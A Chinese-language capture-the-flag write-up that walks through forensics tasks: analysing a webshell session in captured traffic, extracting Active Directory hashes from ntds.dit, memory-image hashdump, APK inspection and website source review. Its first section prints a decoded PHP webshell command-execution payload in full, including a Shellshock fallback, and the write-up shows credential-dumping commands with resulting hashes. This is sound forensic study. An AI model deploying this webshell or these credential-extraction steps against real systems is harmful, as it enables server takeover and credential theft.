Part1Misc
1domainhacker
-
wireshark打开流量包,根据协议类型分类一下,找到HTTP请求,发现最后一个请求下载了rar压缩包。
image-20220709163235030 -
将压缩包导出,发现需要解压密码,继续分析上面的流量包。
将发送到服务器的payload进行url解密、php格式化得到原payload:
a=@ini_set('display_errors', '0');
@set_time_limit(0);
$opdir=@ini_get('open_basedir');
if($opdir) {
$ocwd=dirname($_SERVER['SCRIPT_FILENAME']);
$oparr=preg_split('/;|:/',$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)) {
continue;
}
;
$tmdir=$item.'/.6d1a5';
@mkdir($tmdir);
if(!@file_exists($tmdir)) {
continue;
}
@chdir($tmdir);
@ini_set('open_basedir', '..');
$cntarr=@preg_split('/\\|//',$tmdir);
for ($i=0;$i<sizeof($cntarr);$i++) {
@chdir('..');
}
;
@ini_set('open_basedir','/');
@rmdir($tmdir);
break;
}
;
}
;
;
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo '08f'.'fe8';
echo @asenc($output);
echo 'd6098'.'e72860';
}
ob_start();
try {
$p=base64_decode(substr($_POST['yee092cda97a62'],2));
$s=base64_decode(substr($_POST['q8fb9d4c082c11'],2));
$envstr=@base64_decode(substr($_POST['p48a6d55fac1b1'],2));
$d=dirname($_SERVER['SCRIPT_FILENAME']);
$c=substr($d,0,1)=='/'?'-c '{$s}'':'/c '{$s}'';
if(substr($d,0,1)=='/') {
@putenv('PATH='.getenv('PATH').':/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin');
} else {
@putenv('PATH='.getenv('PATH').';C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;');
}
if(!empty($envstr)) {
$envarr=explode('|||asline|||', $envstr);
foreach($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace('|||askey|||', '=', $v));
}
}
}
$r='{$p} {$c}';
function fe($f) {
$d=explode(',',@ini_get('disable_functions'));
if(empty($d)) {
$d=array();
} else {
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
}
;
function runshellshock($d, $c) {
if (substr($d, 0, 1) == '/' && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink('/bin/sh'), 'bash') != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv('PHP_LOL=() { x; }; $c >$tmp 2>&1');
if (fe('error_log')) {
error_log('a', 1);
} else {
mail('[email protected]', '', '', '-bv');
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != '') {
print($output);
return True;
}
}
return False;
}
;
function runcmd($c) {
$ret=0;
$d=dirname($_SERVER['SCRIPT_FILENAME']);
if(fe('system')) {
@system($c,$ret);
} elseif(fe('passthru')) {
@passthru($c,$ret);
} elseif(fe('shell_exec')) {
print(@shell_exec($c));
} elseif(fe('exec')) {
@exec($c,$o,$ret);
print(join('
',$o));
} elseif(fe('popen')) {
$fp=@popen($c,'r');
while(!@feof($fp)) {
print(@fgets($fp,2048));
}
@pclose($fp);
} elseif(fe('proc_open')) {
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])) {
print(@fgets($io[1],2048));
}
while(!@feof($io[2])) {
print(@fgets($io[2],2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
} elseif(fe('antsystem')) {
@antsystem($c);
} elseif(runshellshock($d, $c)) {
return $ret;
} elseif(substr($d,0,1)!='/' && @class_exists('COM')) {
$w=new COM('WScript.shell');
$e=$w->exec($c);
$so=$e->StdOut();
$ret.=$so->ReadAll();
$se=$e->StdErr();
$ret.=$se->ReadAll();
print($ret);
} else { $ret = 127;
}
return $ret;
}
;
$ret=@runcmd($r.' 2>&1');
print ($ret!=0)?'ret={$ret}':'';
;
}
catch(Exception $e) {
echo 'ERROR://'.$e->getMessage();
}
;
asoutput();
die();
&p48a6d55fac1b1=Hc&q8fb9d4c082c11=vfY2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZkaXImZWNobyBlZmE5MjNiYTUwNCZjZCZlY2hvIDFhNGJlODgxNWVmOA==&yee092cda97a62=YcY21k -
发现结尾存在可疑的类似base64的参数,然后进行代码审计,发现可疑代码:
$p=base64_decode(substr($_POST['yee092cda97a62'],2));
$s=base64_decode(substr($_POST['q8fb9d4c082c11'],2));
$envstr=@base64_decode(substr($_POST['p48a6d55fac1b1'],2));将底部post参数传入的数据截取第三个字符以后的文本,然后进行base64解码。
其中,s是想要执行的命令,依次将流量包的$s解密即可知道攻击者执行的操作。
依次解码后,其中一条命令如下:
cd /d 'c:\Windows\Temp'&rar.exe a -PSecretsPassw0rds 1.rar 1.txt&echo efa923ba504&cd&echo 1a4be8815ef8将1.txt打包成rar压缩文件,然后增加密码:SecretsPassw0rds。
-
导出了rar压缩文件并且得到了压缩密码,直接解压即可得到mimitatz提取的信息。
其中,NTLM即机器的hash:flag{416f89c3a5deb1d398a1a1fce93862a7}。
image-20220709164029182
2domainhacker2
-
前面的做法和domainhacker一样,提取rar、得到解压密码。
-
解压后得到如下文件:
image-20220709164302583 -
经过百度搜索,有了SYSTEM文件即可解密ntds.dit,得到相关数据库表获取系统用户的密码hash。
-
对ntds.dit进行信息提取,参考:http://www./10/hack-167955.htm。
-
首先,安装esedbexport,安装后使用下面的命令提取用户信息数据库表:
esedbexport -m tables ntds.ditimage-20220709170655239 -
然后,安装ntdsxtarct,安装后使用下面的命令提取出来域散列值信息:
python dsusers.py ../datatable.4 ../link_table.7 output --syshive ../../../../domainhacker2_184c16876d41965a695f89232ae5392d/registry/SYSTEM --passwordhistory --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee result.txtimage-20220709165737936 -
题目要求提交Administrator上一次密码的hash值,因此flag{07ab403ab740c1540c378b0f5aaa4087}。
Part2电子取证
3手机取证_1
-
签到题,出题人已经取证完毕,直接打开找到媒体图片。根据题目文件名搜索一下。
image-20220709180610287 -
保存到本地,然后查看属性得到图片大小360×360,360yyds。
35C0992FF76D2E70C9B742777CF70208
4手机取证_2
-
根据题目提示,去寻找姜总的快递单号。
-
在应用快照中找到Skype中和姜总的聊天记录。
A77220BD49433717D098886A4EDE53EC -
然后去Skype中找到聊天记录,即可找到姜总的快递单号:SF1142358694796。
2E8F92365A199149D15BB0D82348943E
5计算机取证_1
-
拿到镜像文件,首先使用volatility查看镜像信息得到系统版本。
python vol.py -f ../1.dmp imageinfoINFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/root/Desktop/1.dmp)
PAE type : No PAE
DTB : 0x187000L
KDBG : 0xf80003ffa0a0L
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0xfffff80003ffbd00L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2022-04-28 05:54:55 UTC+0000
Image local date and time : 2022-04-28 13:54:55 +0800 -
然后使用hashdump命令查看系统密码。
python vol.py -f ../1.dmp --profile=Win7SP1x64 hashdumpAdministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
taqi7:1000:aad3b435b51404eeaad3b435b51404ee:7f21caca5685f10d9e849cc84c340528:::
naizheng:1002:aad3b435b51404eeaad3b435b51404ee:d123b09e13b1a82277c3e3f0ca722060:::
qinai:1003:aad3b435b51404eeaad3b435b51404ee:1c333843181864a58156f3e9498fe905::: -
根据题目要求去获取taqi7的密码,将7f21caca5685f10d9e849cc84c340528进行md5解密即可得到密码即flag:anxinqi。
image-20220709171522336
6计算机取证_2
-
使用volatility的plist命令查看所有进程。
vol.py -f ../1.dmp --profile=Win7SP1x64 pslistimage-20220709172051323 -
发现可疑文件名MagnetRAMCaptu,疑似RAM、Capture相关的进程,百度搜索后发现是内存镜像打包软件。因此flag即进程的pid:2192。
7计算机取证_3
-
题目要求进入bitlocker加锁的磁盘中找到office文件。
-
使用efdd软件在内存的dump文件中寻找密钥进行解密磁盘文件。
-
解密后得到恢复秘钥,然后挂载磁盘文件。
-
挂载后得到pass.txt、ppt、doc、txt四个文件。
发现ppt和doc经过加密,因此猜测pass.txt是密码字典。
image-20220709182223667 -
使用软件暴力破解后得到解压密码:287fuweiuhfiute,进入ppt得到Flag:
image-20220709182420296
8计算机取证_4
-
要求找到TrueCrypt解密后的Flag。
-
使用efdd或取证大师提取TrueCrypt,找到取证大师的内存镜像解析工具。
image-20220709182658832 -
得到TrueCrypt后导出秘钥文件,猜测上一题得到的名为新建文本文档.txt的文件为加密文件。
image-20220709183132004 -
使用取证大师进行取证,发现可疑文件 哈哈哈.zip,导出。
image-20220709183324360 image-20220709183403714 -
使用ARCHPR暴力破解得到弱密码991314,解压后得到Flag:flag{1349934913913991394cacacacacacc}。
9程序分析_1
-
给出了apk,要求获得包名,直接拖入jadx。
-
找到AndroidManifest.xml中的package即包名:exec.azj.kny.d.c。
image-20220709172850353
10程序分析_2
-
jadx中发现只有一个名字比较规范正常的包minmtta.hemjcbm.ahibyws。进入该包即可找到MainActivity,一般情况下这里是程序入口:minmtta.hemjcbm.ahibyws.MainActivity。
image-20220709173007071
11程序分析_3
-
jadx分析,在入口发现一串疑似base64的代码,并且程序进行Base64.decode操作。
image-20220709173007071 -
base64解码后发现是一个域名,怀疑是服务器地址,flag即密文:aHR0cHM6Ly9hbnNqay5lY3hlaW8ueHl6。
12程序分析_4
-
jadx中寻找,除去android开头的内置类和tencent类,在剩余的a、b、c、d、e包中寻找类。
-
经过观察发现这些包下面的类名很相似,a-h,其中一个必定是安全检测类。
-
经过观察,发现其中一个类a有qeum关键字,猜测可能是虚拟机检测,提交类名a即可。
image-20220709173440967
13网站取证_1
-
题目提示我们存在木马,要求我们找到链接密码。
-
第一时间想到一句话木马,直接搜索_POST发现一句话木马。Flag:lanmaobei666。
image-20220709173646525
14网站取证_2
-
题目提示我们去找数据库的密码。
-
ThinkPHP模板,直接去网站源码找到database.php,发现数据库密码是通过函数解密得出的:
image-20220709173836626 -
跟入函数,发现存在密文、key、iv,感觉是AES加密,源码中发现关键字MCRYPT_RIJNDAEL_128。
百度搜索后发现确实是AES加密,如果有php拓展直接运行应该就可以得到,没有拓展也可以在线解密。
找到AES在线解密网站,密文、key已知,iv是key的sha1然后取前16位,在线解密即可得到Flag:KBLT123。
<?php
function my_encrypt(){
$str = 'P3LMJ4uCbkFJ/RarywrCvA==';
$str = str_replace(array('/r/n', '/r', '/n'), '', $str);
$key = 'PanGuShi';
$iv = substr(sha1($key),0,16);
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td, 'PanGuShi', $iv);
$decode = base64_decode($str);
$dencrypted = mdecrypt_generic($td, $decode);
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
$dencrypted = trim($dencrypted);
return $dencrypted;
}image-20220709174209620
15网站取证_3
-
根据题目提示,要求我们找到金额加密混淆的使用的salt。
-
直接搜索关键字money,找到对应位置的代码:
image-20220709174343722 -
跟入加密函数,发现$key = ‘jyzg123456’,此处的key即加密的salt。
function encrypt($data, $key = 'jyzg123456')
{
$key = md5($key);
$x = 0;
$len = strlen($data);
$l = strlen($key);
$char = '';
$str = '';
for ($i = 0; $i < $len; $i++)
{
if ($x == $l)
{
$x = 0;
}
$char .= $key{$x};
$x++;
}
for ($i = 0; $i < $len; $i++)
{
$str .= chr(ord($data{$i}) + (ord($char{$i})) % 256);
}
return base64_encode($str);
}